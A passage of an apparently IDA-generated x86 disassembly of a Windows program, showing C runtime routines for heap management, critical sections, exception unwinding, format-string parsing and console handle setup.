		mov	[edx-4], eax
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_20]
		mov	[edx-8], eax
		mov	eax, [ebp+var_C]
		cmp	ebx, dword_4111A8[eax*4]
		jnz	short loc_4490F3
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_20]
		mov	dword_4111A8[eax*4], edx


loc_4490F3:				; CODE XREF: sub_448DE1+2C1j
					; sub_448DE1:loc_4490C0j ...
		mov	esi, edi


loc_4490F5:				; CODE XREF: sub_448DE1+287j
					; sub_448DE1+29Dj
		mov	eax, edi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		lea	eax, [edx+4]
		mov	[ebp+var_8], eax
		mov	edx, esi
		or	edx, 80000000h
		mov	[eax+esi*4-4], edx
		mov	[eax], edx
		mov	eax, [ebp+var_8]
		add	eax, 4


loc_449118:				; CODE XREF: sub_448DE1+F4j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_448DE1	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449121	proc near		; CODE XREF: sub_447CC1+Dp
					; sub_448891+Ap ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00449188 SIZE 00000038 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8BC
		push	offset sub_4083B8
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_1C], 0
		mov	eax, dword_4117E0
		cmp	[ebp+arg_0], eax
		jnb	short loc_449188
		push	0
		call	sub_4496C1
		pop	ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_448DE1
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_44917F
		jmp	short loc_449188
sub_449121	endp


; =============== S U B	R O U T	I N E =======================================



sub_44917F	proc near		; CODE XREF: sub_449121+57p
		push	0
		call	sub_449741
		pop	ecx
		retn
sub_44917F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449121


loc_449188:				; CODE XREF: sub_449121+35j
					; sub_449121+5Cj
		cmp	[ebp+var_1C], 0
		jnz	short loc_44919B
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_449571
		pop	ecx
		mov	[ebp+var_1C], eax


loc_44919B:				; CODE XREF: sub_449121+6Bj
		cmp	[ebp+var_1C], 0
		jnz	short loc_4491AC
		call	sub_449321
		mov	dword ptr [eax], 0Ch


loc_4491AC:				; CODE XREF: sub_449121+7Ej
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_449121
; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_4491C1	proc near		; CODE XREF: sub_448891+7Bp
					; sub_449D01+80p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 91h
		jz	loc_449293
		jg	short loc_44921E
		cmp	ebx, 50h
		jl	short loc_4491E5
		cmp	ebx, 59h
		jg	short loc_4491F6
		jmp	dword ptr aProtorecvDataS+3[ebx*4]
; ---------------------------------------------------------------------------


loc_4491E5:				; CODE XREF: sub_4491C1+16j
		cmp	ebx, 1
		jl	short loc_449263
		cmp	ebx, 43h
		jg	short loc_449263
		jmp	off_40F8EC[ebx*4]
; ---------------------------------------------------------------------------


loc_4491F6:				; CODE XREF: sub_4491C1+1Bj
		cmp	ebx, 6Ch
		jl	short loc_449263
		cmp	ebx, 72h
		jg	short loc_449207
		jmp	dword ptr a02i02i02iIIIS+6[ebx*4]
; ---------------------------------------------------------------------------


loc_449207:				; CODE XREF: sub_4491C1+3Dj
		cmp	ebx, 80h
		jl	short loc_449263
		cmp	ebx, 84h
		jg	short loc_449263
		jmp	dword ptr aWinsock2_xInit+0Eh[ebx*4]
; ---------------------------------------------------------------------------


loc_44921E:				; CODE XREF: sub_4491C1+11j
		cmp	ebx, 0A4h
		jz	short loc_4492A0
		cmp	ebx, 0A7h
		jz	short loc_449293
		jg	short loc_449242
		cmp	ebx, 9Eh
		jz	short loc_449293
		cmp	ebx, 0A1h
		jz	short loc_449273
		jmp	short loc_449263
; ---------------------------------------------------------------------------


loc_449242:				; CODE XREF: sub_4491C1+6Dj
		cmp	ebx, 0B7h
		jl	short loc_449263
		cmp	ebx, 0D7h
		jg	short loc_449259
		jmp	dword ptr aHandshakeBadPa[ebx*4] ; "Handshake: bad packed (%i)\n"
; ---------------------------------------------------------------------------


loc_449259:				; CODE XREF: sub_4491C1+8Fj
		cmp	ebx, 718h
		jz	short loc_449283
		jmp	short $+2


loc_449263:				; CODE XREF: sub_4491C1+27j
					; sub_4491C1+2Cj ...
		call	sub_449321
		mov	dword ptr [eax], 16h
		jmp	loc_449313
; ---------------------------------------------------------------------------


loc_449273:				; CODE XREF: sub_4491C1+7Dj
		call	sub_449321
		mov	dword ptr [eax], 2
		jmp	loc_449313
; ---------------------------------------------------------------------------


loc_449283:				; CODE XREF: sub_4491C1+9Ej
		call	sub_449321
		mov	dword ptr [eax], 0Ch
		jmp	loc_449313
; ---------------------------------------------------------------------------


loc_449293:				; CODE XREF: sub_4491C1+Bj
					; sub_4491C1+6Bj ...
		call	sub_449321
		mov	dword ptr [eax], 0Dh
		jmp	short loc_449313
; ---------------------------------------------------------------------------


loc_4492A0:				; CODE XREF: sub_4491C1+63j
		call	sub_449321
		mov	dword ptr [eax], 0Bh
		jmp	short loc_449313
; ---------------------------------------------------------------------------
		call	sub_449321
		mov	dword ptr [eax], 11h
		jmp	short loc_449313
; ---------------------------------------------------------------------------
		call	sub_449321
		mov	dword ptr [eax], 9
		jmp	short loc_449313
; ---------------------------------------------------------------------------
		call	sub_449321
		mov	dword ptr [eax], 0Ah
		jmp	short loc_449313
; ---------------------------------------------------------------------------
		call	sub_449321
		mov	dword ptr [eax], 8
		jmp	short loc_449313
; ---------------------------------------------------------------------------
		call	sub_449321
		mov	dword ptr [eax], 18h
		jmp	short loc_449313
; ---------------------------------------------------------------------------
		call	sub_449321
		mov	dword ptr [eax], 1Ch
		jmp	short loc_449313
; ---------------------------------------------------------------------------
		call	sub_449321
		mov	dword ptr [eax], 20h
		jmp	short loc_449313
; ---------------------------------------------------------------------------
		call	sub_449321
		mov	dword ptr [eax], 12h


loc_449313:				; CODE XREF: sub_4491C1+ADj
					; sub_4491C1+BDj ...
		pop	ebx
		retn
sub_4491C1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_449321	proc near		; CODE XREF: sub_447CF1+1Bp
					; sub_449121+80p ...
		call	sub_44A011
		add	eax, 8
		retn
sub_449321	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		test	dword ptr [eax+4], 6
		jnz	short loc_4493CE
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_449368:				; CODE XREF: DMN1:004493C5j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4493DE
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_4493BC
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		test	eax, eax
		jz	short loc_4493BC
		js	short loc_4493C7
		mov	edi, [ebx+8]
		push	ebx
		call	sub_449411
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_449461
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_44950A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_4493BC:				; CODE XREF: DMN1:00449375j
					; DMN1:00449387j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_449368
; ---------------------------------------------------------------------------


loc_4493C7:				; CODE XREF: DMN1:00449389j
		mov	eax, 0
		jmp	short loc_4493E3
; ---------------------------------------------------------------------------


loc_4493CE:				; CODE XREF: DMN1:00449351j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_449461
		add	esp, 8
		pop	ebp


loc_4493DE:				; CODE XREF: DMN1:0044936Bj
		mov	eax, 1


loc_4493E3:				; CODE XREF: DMN1:004493CCj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_449461
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449411	proc near		; CODE XREF: DMN1:0044938Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_4084A8
		push	[ebp+arg_0]
		call	sub_44E3A1	; RtlUnwind
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_449411	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+4]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_449452
		mov	eax, [esp+8]
		mov	edx, [esp+10h]
		mov	[edx], eax
		mov	eax, 3

locret_449452:				; CODE XREF: DMN1:00449441j
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_449461	proc near		; CODE XREF: DMN1:0044939Cp
					; DMN1:004493D5p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4084B0
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_44947E:				; CODE XREF: sub_449461:loc_4494B9j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4494BB
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_4494BB
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_4494B9
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_44950A
		call	dword ptr [ebx+esi*4+8]


loc_4494B9:				; CODE XREF: sub_449461+44j
		jmp	short loc_44947E
; ---------------------------------------------------------------------------


loc_4494BB:				; CODE XREF: sub_449461+2Aj
					; sub_449461+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_449461	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4084B0
		jnz	short locret_4494F3
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_4494F3
		mov	eax, 1

locret_4494F3:				; CODE XREF: DMN1:004494E1j
					; DMN1:004494ECj
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		mov	ebx, offset dword_411200
		jmp	short loc_449514

; =============== S U B	R O U T	I N E =======================================



sub_44950A	proc near		; CODE XREF: DMN1:004493ADp
					; sub_449461+4Fp
		push	ebx
		push	ecx
		mov	ebx, offset dword_411200
		mov	ecx, [ebp+8]


loc_449514:				; CODE XREF: DMN1:00449508j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_44950A	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================



sub_449531	proc near		; CODE XREF: DMN1:00448A57p
		push	0
		push	1000h
		push	0
		call	dword_411DB0	; HeapCreate
		mov	dword_4127F0, eax
		test	eax, eax
		setnz	al
		and	eax, 1
		retn
sub_449531	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
; ---------------------------------------------------------------------------
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DB4	; HeapDestroy
		mov	dword_4127F0, 0
		retn
; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_449571	proc near		; CODE XREF: sub_449121+71p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		push	0
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DB8	; RtlAllocateHeap
		retn
sub_449571	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+8]
		push	eax
		push	0
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DBC	; RtlReAllocateHeap
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================



sub_4495B1	proc near		; CODE XREF: sub_448071+41p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		push	0
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DC0	; RtlFreeHeap
		retn
sub_4495B1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		mov	eax, [esp+0Ch]
		push	eax
		push	0
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DC4	; RtlSizeHeap
		mov	ebx, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4495F3
		xor	esi, esi
		jmp	short loc_4495F5
; ---------------------------------------------------------------------------


loc_4495F3:				; CODE XREF: DMN1:004495EDj
		mov	esi, ebx


loc_4495F5:				; CODE XREF: DMN1:004495F1j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	eax
		push	0
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DC8	; HeapValidate
		test	eax, eax
		setnz	al
		and	eax, 1
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================



sub_449621	proc near		; CODE XREF: sub_449F51+1p
		mov	eax, off_411210
		push	eax
		call	dword_411CC8	; InitializeCriticalSection
		mov	eax, off_411214
		push	eax
		call	dword_411CC8	; InitializeCriticalSection
		mov	eax, off_411218
		push	eax
		call	dword_411CC8	; InitializeCriticalSection
		mov	eax, off_41121C
		push	eax
		call	dword_411CC8	; InitializeCriticalSection
		retn
sub_449621	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================



sub_449661	proc near		; CODE XREF: DMN1:00449FB1p
		push	ebx
		mov	ebx, 4


loc_449667:				; CODE XREF: sub_449661+2Aj
		mov	eax, off_411210[ebx*4]
		test	eax, eax
		jz	short loc_449687
		push	eax
		call	dword_411DCC	; RtlDeleteCriticalSection
		mov	eax, off_411210[ebx*4]
		push	eax
		call	sub_448071
		pop	ecx


loc_449687:				; CODE XREF: sub_449661+Fj
		inc	ebx
		cmp	ebx, 9
		jl	short loc_449667
		mov	eax, off_411210
		push	eax
		call	dword_411DCC	; RtlDeleteCriticalSection
		mov	eax, off_411214
		push	eax
		call	dword_411DCC	; RtlDeleteCriticalSection
		mov	eax, off_411218
		push	eax
		call	dword_411DCC	; RtlDeleteCriticalSection
		mov	eax, off_41121C
		push	eax
		call	dword_411DCC	; RtlDeleteCriticalSection
		pop	ebx
		retn
sub_449661	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4496C1	proc near		; CODE XREF: sub_448071+4Bp
					; sub_448281+28p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	off_411210[ebx*4], 0
		jnz	short loc_449726
		push	18h
		call	sub_449121
		pop	ecx
		mov	[ebp+var_4], eax
		test	eax, eax
		jnz	short loc_4496EC
		push	1
		call	sub_44A111
		pop	ecx


loc_4496EC:				; CODE XREF: sub_4496C1+21j
		push	3
		call	sub_4496C1
		pop	ecx
		cmp	off_411210[ebx*4], 0
		jnz	short loc_449714
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_411CC8	; InitializeCriticalSection
		mov	eax, [ebp+var_4]
		mov	off_411210[ebx*4], eax
		jmp	short loc_44971E
; ---------------------------------------------------------------------------


loc_449714:				; CODE XREF: sub_4496C1+3Bj
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_448071
		pop	ecx


loc_44971E:				; CODE XREF: sub_4496C1+51j
		push	3
		call	sub_449741
		pop	ecx


loc_449726:				; CODE XREF: sub_4496C1+12j
		mov	eax, off_411210[ebx*4]
		push	eax
		call	dword_411CCC	; RtlEnterCriticalSection
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4496C1	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_449741	proc near		; CODE XREF: sub_4480DB+2p
					; sub_4482DC+2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, off_411210[eax*4]
		push	eax
		call	dword_411CD0	; RtlLeaveCriticalSection
		retn
sub_449741	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449761	proc near		; CODE XREF: sub_448141+3Dp
					; sub_4481E1+27p ...

var_84		= byte ptr -84h
var_50		= dword	ptr -50h
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_6		= byte ptr -6
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	[ebp+var_48], 0
		mov	[ebp+var_44], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_38], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_34], eax
		mov	[ebp+var_10], 0


loc_449791:				; CODE XREF: sub_449761+A4j
					; sub_449761+264j
		mov	[ebp+var_4A], 0
		lea	eax, [ebp+var_48]
		push	eax
		push	7FFFFFFFh
		push	ebx
		lea	eax, [ebp+var_4A]
		push	eax
		call	sub_44A8D1
		add	esp, 10h
		mov	esi, eax
		test	eax, eax
		jg	short loc_4497BE
		cmp	byte ptr [ebx],	0
		setnz	al
		and	eax, 1
		mov	esi, eax


loc_4497BE:				; CODE XREF: sub_449761+50j
		cmp	[ebp+var_4A], 25h
		jnz	short loc_4497CD
		lea	eax, [esi-1]
		mov	[ebp+var_50], eax
		jmp	short loc_4497D0
; ---------------------------------------------------------------------------


loc_4497CD:				; CODE XREF: sub_449761+62j
		mov	[ebp+var_50], esi


loc_4497D0:				; CODE XREF: sub_449761+6Aj
		mov	eax, [ebp+var_50]
		mov	edi, eax
		test	eax, eax
		jle	short loc_4497F7
		push	edi
		push	ebx
		mov	eax, [ebp+var_34]
		push	eax
		call	[ebp+var_38]
		add	esp, 0Ch
		mov	[ebp+var_34], eax
		test	eax, eax
		jnz	short loc_4497F4
		or	eax, 0FFFFFFFFh
		jmp	loc_4499CE
; ---------------------------------------------------------------------------


loc_4497F4:				; CODE XREF: sub_449761+89j
		add	[ebp+var_10], edi


loc_4497F7:				; CODE XREF: sub_449761+76j
		add	ebx, esi
		cmp	[ebp+var_4A], 25h
		jz	short loc_44980F
		cmp	[ebp+var_4A], 0
		jnz	short loc_449791
		mov	eax, [ebp+var_10]
		jmp	loc_4499CE
; ---------------------------------------------------------------------------


loc_44980F:				; CODE XREF: sub_449761+9Dj
		mov	[ebp+var_18], 0
		mov	[ebp+var_1C], 0
		mov	[ebp+var_20], 0
		mov	[ebp+var_24], 0
		mov	[ebp+var_28], 0
		mov	[ebp+var_2C], 0
		mov	[ebp+var_8], 0
		jmp	short loc_44985A
; ---------------------------------------------------------------------------


loc_449841:				; CODE XREF: sub_449761+10Ej
		movzx	eax, [ebp+var_8]
		mov	edx, offset dword_40FAB0
		mov	ecx, esi
		sub	ecx, edx
		or	eax, dword_40FAB8[ecx*4]
		mov	[ebp+var_8], ax
		inc	ebx


loc_44985A:				; CODE XREF: sub_449761+DEj
		movzx	eax, byte ptr [ebx]
		push	eax
		push	offset dword_40FAB0
		call	sub_449E01
		add	esp, 8
		mov	esi, eax
		test	eax, eax
		jnz	short loc_449841
		cmp	byte ptr [ebx],	2Ah
		jnz	short loc_449899
		mov	eax, [ebp+arg_C]
		add	eax, 4
		mov	[ebp+arg_C], eax
		mov	eax, [eax-4]
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_449896
		mov	eax, [ebp+var_C]
		neg	eax
		mov	[ebp+var_C], eax
		or	[ebp+var_8], 4


loc_449896:				; CODE XREF: sub_449761+126j
		inc	ebx
		jmp	short loc_4498CF
; ---------------------------------------------------------------------------


loc_449899:				; CODE XREF: sub_449761+113j
		mov	[ebp+var_C], 0
		jmp	short loc_4498BE
; ---------------------------------------------------------------------------


loc_4498A2:				; CODE XREF: sub_449761+16Cj
		cmp	[ebp+var_C], 7FFFFFFFh
		jge	short loc_4498BD
		mov	eax, [ebp+var_C]
		lea	eax, [eax+eax*4]
		add	eax, eax
		movzx	edx, byte ptr [ebx]
		lea	eax, [edx+eax-30h]
		mov	[ebp+var_C], eax


loc_4498BD:				; CODE XREF: sub_449761+148j
		inc	ebx


loc_4498BE:				; CODE XREF: sub_449761+13Fj
		movzx	eax, byte ptr [ebx]
		mov	edx, off_411898
		test	word ptr [edx+eax*2], 1
		jnz	short loc_4498A2


loc_4498CF:				; CODE XREF: sub_449761+136j
		cmp	byte ptr [ebx],	2Eh
		jz	short loc_4498DA
		or	[ebp+var_14], 0FFFFFFFFh
		jmp	short loc_44992A
; ---------------------------------------------------------------------------


loc_4498DA:				; CODE XREF: sub_449761+171j
		inc	ebx
		mov	eax, ebx
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_4498F4
		mov	eax, [ebp+arg_C]
		add	eax, 4
		mov	[ebp+arg_C], eax
		mov	eax, [eax-4]
		mov	[ebp+var_14], eax
		inc	ebx
		jmp	short loc_44992A
; ---------------------------------------------------------------------------


loc_4498F4:				; CODE XREF: sub_449761+17Fj
		mov	[ebp+var_14], 0
		jmp	short loc_449919
; ---------------------------------------------------------------------------


loc_4498FD:				; CODE XREF: sub_449761+1C7j
		cmp	[ebp+var_14], 7FFFFFFFh
		jge	short loc_449918
		mov	eax, [ebp+var_14]
		lea	eax, [eax+eax*4]
		add	eax, eax
		movzx	edx, byte ptr [ebx]
		lea	eax, [edx+eax-30h]
		mov	[ebp+var_14], eax


loc_449918:				; CODE XREF: sub_449761+1A3j
		inc	ebx


loc_449919:				; CODE XREF: sub_449761+19Aj
		movzx	eax, byte ptr [ebx]
		mov	edx, off_411898
		test	word ptr [edx+eax*2], 1
		jnz	short loc_4498FD


loc_44992A:				; CODE XREF: sub_449761+177j
					; sub_449761+191j
		movzx	eax, byte ptr [ebx]
		push	eax
		push	offset aHjltzl	; "hjltzL"
		call	sub_449E01
		add	esp, 8
		test	eax, eax
		jz	short loc_449947
		mov	eax, ebx
		inc	ebx
		movzx	edi, byte ptr [eax]
		jmp	short loc_449949
; ---------------------------------------------------------------------------


loc_449947:				; CODE XREF: sub_449761+1DCj
		xor	edi, edi


loc_449949:				; CODE XREF: sub_449761+1E4j
		mov	eax, edi
		mov	[ebp+var_6], al
		cmp	al, 68h
		jnz	short loc_44995E
		cmp	byte ptr [ebx],	68h
		jnz	short loc_44995E
		mov	[ebp+var_6], 62h
		inc	ebx
		jmp	short loc_44998E
; ---------------------------------------------------------------------------


loc_44995E:				; CODE XREF: sub_449761+1EFj
					; sub_449761+1F4j
		cmp	[ebp+var_6], 6Ch
		jnz	short loc_449970
		cmp	byte ptr [ebx],	6Ch
		jnz	short loc_449970
		mov	[ebp+var_6], 71h
		inc	ebx
		jmp	short loc_44998E
; ---------------------------------------------------------------------------


loc_449970:				; CODE XREF: sub_449761+201j
					; sub_449761+206j
		cmp	[ebp+var_6], 0
		jnz	short loc_44998E
		cmp	byte ptr [ebx],	49h
		jnz	short loc_44998E
		cmp	byte ptr [ebx+1], 36h
		jnz	short loc_44998E
		cmp	byte ptr [ebx+2], 34h
		jnz	short loc_44998E
		mov	[ebp+var_6], 71h
		add	ebx, 3


loc_44998E:				; CODE XREF: sub_449761+1FBj
					; sub_449761+20Dj ...
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, ebx
		inc	ebx
		movzx	eax, byte ptr [eax]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_44ABB1
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4499CB
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_44B2F1
		add	esp, 8
		test	eax, eax
		jge	loc_449791


loc_4499CB:				; CODE XREF: sub_449761+24Dj
		or	eax, 0FFFFFFFFh


loc_4499CE:				; CODE XREF: sub_449761+8Ej
					; sub_449761+A9j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_449761	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_4499E1	proc near		; CODE XREF: sub_4481E1+6p
		cmp	dword_411234, 0
		jz	short loc_4499F0
		mov	eax, dword_411234
		retn
; ---------------------------------------------------------------------------


loc_4499F0:				; CODE XREF: sub_4499E1+7j
		push	0
		push	0
		push	3
		push	0
		push	3
		push	0C0000000h
		push	offset aConout	; "CONOUT$"
		call	dword_411DD0	; CreateFileA
		retn
sub_4499E1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
; ---------------------------------------------------------------------------
		cmp	dword_411238, 0
		jz	short loc_449A20
		mov	eax, dword_411238
		retn
; ---------------------------------------------------------------------------


loc_449A20:				; CODE XREF: DMN1:00449A18j
		push	0
		push	0
		push	3
		push	0
		push	3
		push	0C0000000h
		push	offset aConin	; "CONIN$"
		call	dword_411DD0	; CreateFileA
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_449A41	proc near		; CODE XREF: sub_448281+35p
		push	ebx
		push	esi
		xor	esi, esi
		xor	ebx, ebx


loc_449A47:				; CODE XREF: sub_449A41+4Ej
		cmp	off_411370[ebx*4], 0
		jnz	short loc_449A6D
		push	4Ch
		call	sub_449121
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_449A91
		mov	off_411370[ebx*4], esi
		mov	word ptr [esi],	80h
		jmp	short loc_449A91
; ---------------------------------------------------------------------------


loc_449A6D:				; CODE XREF: sub_449A41+Ej
		mov	eax, off_411370[ebx*4]
